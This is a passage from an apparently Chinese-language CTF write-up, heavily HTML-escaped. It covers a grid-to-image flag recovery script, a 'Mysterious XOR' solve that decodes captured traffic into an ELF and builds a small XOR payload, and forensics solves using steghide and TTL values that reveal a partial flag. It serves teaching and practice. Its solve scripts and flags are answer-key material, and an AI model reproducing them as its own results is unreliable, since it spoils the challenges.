class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;path&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;expanduser&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;~&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;),&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;Desktop&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;os&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;path&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;desktop&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;output.txt&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;with&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;open&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;filepath&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;w&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;as&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;y&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;y_start&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;y&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;y_end&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;line_bits&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x_start&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x_end&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;:&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;g&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;getcell&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;x&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;y&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;line_bits&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;append&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;==&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;x&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;x_step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;f&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;write&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;join&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;line_bits&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;y&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;y_step&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;g&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;show&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Done.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;export_01_grid&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;然后将得到的二进制字符串转换为图像&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from PIL import Image&#xA;&#xA;# Provided text block&#xA;text = &amp;quot;&amp;quot;&amp;quot;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&#xA;0000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000&#xA;0011000011001111101111001010000000000110000000100100011100011100000001000000000000000000011000110010000000001000110000011001000001110010100&#xA;0100100100100010001000001000000000001010000000101010100010100010000010100000000000000000100101001010000000001001001000101001000010001000100&#xA;0100100100100010001000001000100010010010011100100010100000000010000000100111100000001100100101001010000000111001000000101001110010001000100&#xA;0100100100000010001110010000100010100010100010100010111000011100000000101000000000010010100101001010000001001001110001001001001001110000010&#xA;0111000100100010001000001000010100111110100000100010100000000010000000100111000000010000100101001010000001001001001001111001001010001000100&#xA;0100000100100010001000001000010100000010100000100010100000100010111000100000101110010010100101001010111101001001001000001001001010001000100&#xA;0100000011000010001000001010001000000010100000100010100000011100000000101111000000001100011000110010000000111000110000001001110001110010100&#xA;0000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000&#xA;0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000&amp;quot;&amp;quot;&amp;quot;&#xA;&#xA;# Parse lines&#xA;lines = text.strip().split(&amp;quot;\n&amp;quot;)&#xA;height = len(lines)&#xA;width = len(lines[0])&#xA;&#xA;# scale factor&#xA;scale = 8&#xA;img = Image.new(&amp;quot;RGB&amp;quot;, (width * scale, height * scale), &amp;quot;white&amp;quot;)&#xA;pixels = img.load()&#xA;&#xA;for y, line in enumerate(lines):&#xA;    for x, c in enumerate(line):&#xA;        color = 0 if c == &#39;1&#39; else 255&#xA;        # fill 4x4 block&#xA;        for dy in range(scale):&#xA;            for dx in range(scale):&#xA;                pixels[x*scale+dx, y*scale+dy] = (color, color, color)&#xA;&#xA;# Save image&#xA;path = &amp;quot;C:\\Users\\Mnzn\\Desktop\\output_image.png&amp;quot;&#xA;img.save(path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;我们就得到了flag图 O(∩_∩)O&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;upload/Image/96b0ee5e-ab85-4771-aa39-15d29c93291f.png&#34; alt=&#34;96b0ee5e-ab85-4771-aa39-15d29c93291f.png&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;mysterious-xor&#34;&gt;&lt;strong&gt;Mysterious XOR&lt;/strong&gt;&lt;a class=&#34;heading-anchor&#34; href=&#34;#mysterious-xor&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;观察报文，发现存在大量字符 g&lt;/p&gt;&#xA;&lt;p&gt;结合题目描述 &lt;strong&gt;One byte is all you ever need.&lt;/strong&gt; 和题目的 XOR&lt;br&gt;&#xA;提取出原始字节流 与字符 ‘g’ 进行异或 得到ELF文件&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/823ccb8a-41ae-45b0-9d1c-70fce2971c27.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;接下来是对ELF文件的逆向分析&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/4bf96da7-0f1d-4990-96fe-6f7e0e3e3135.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;写exp&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;socket&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kn&#34;&gt;from&lt;/span&gt; &lt;span class=&#34;nn&#34;&gt;datetime&lt;/span&gt; &lt;span class=&#34;kn&#34;&gt;import&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;datetime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;timezone&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;cur_dt_bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    cur_dt: &amp;#34;YYYYMMDDTHHMMZ&amp;#34; (UTC)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;now_utc&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;datetime&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;now&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;timezone&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;utc&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;now_utc&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;strftime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;%Y%m&lt;/span&gt;&lt;span class=&#34;si&#34;&gt;%d&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;T%H%MZ&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;s&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;encode&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;build_v8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    v8 = &amp;#34;/tmp/&amp;#34; + cur_dt(...)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;base&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;/tmp/&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;dt&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cur_dt_bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;v8&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;base&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;dt&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v8&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;k&#34;&gt;def&lt;/span&gt; &lt;span class=&#34;nf&#34;&gt;build_v11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;():&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s2&#34;&gt;&amp;#34;&amp;#34;&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    xsp(v8, &amp;#34;1337&amp;#34;, v11)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    - v11[0..18] = v8[i] XOR key[i]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    - v11[19]    = &amp;#39;&lt;/span&gt;&lt;span class=&#34;se&#34;&gt;\n&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#39;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;s2&#34;&gt;    &amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;v8&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;build_v8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;1337&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;sa&#34;&gt;b&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34; &amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;-&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;4&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# &amp;#34;1337&amp;#34; + 15 个空格&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;  &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;out&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytearray&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;20&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;for&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;i&lt;/span&gt; &lt;span class=&#34;ow&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;range&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;):&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;v8&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;^&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;i&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;19&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;]&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;mh&#34;&gt;0x0A&lt;/span&gt;  &lt;span class=&#34;c1&#34;&gt;# &amp;#39;\n&amp;#39;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;nb&#34;&gt;bytes&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;n&#34;&gt;payload&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;build_v11&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;forensics&#34;&gt;Forensics&lt;a class=&#34;heading-anchor&#34; href=&#34;#forensics&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h2&gt;&#xA;&lt;h3 id=&#34;word-sea-adventures&#34;&gt;Word Sea Adventures&lt;a class=&#34;heading-anchor&#34; href=&#34;#word-sea-adventures&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;解压docx 得到三张图片&lt;br&gt;&#xA;&lt;img src=&#34;upload/Image/516e662f-2901-4930-9f4f-06185347c288.png&#34; alt=&#34;&#34;&#xA;  loading=&#34;lazy&#34; decoding=&#34;async&#34;&gt;&#xA;&lt;br&gt;&#xA;steghide提取出三段信息&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Mr Crabs heard that his cashier may be hiding some money and maybe a flag somewhere.&lt;br&gt;&#xA;Spongebob is so chill! Why would he be hiding any flags?&lt;br&gt;&#xA;I guess you found handsome squidward… even his looks can’t hide the flag.&lt;br&gt;&#xA;pctf{w0rD_f1le5_ar3_als0_z1p&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;h3 id=&#34;we-go-gym&#34;&gt;We Go Gym&lt;a class=&#34;heading-anchor&#34; href=&#34;#we-go-gym&#34; aria-label=&#34;Link to this section&#34;&gt;&lt;/a&gt;&#xA;&lt;/h3&gt;&#xA;&lt;p&gt;此题为TTL&lt;br&gt;&#xA;统计出所有交互ip 次数最多的ip的TTL经过ascii解码后为flag&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; 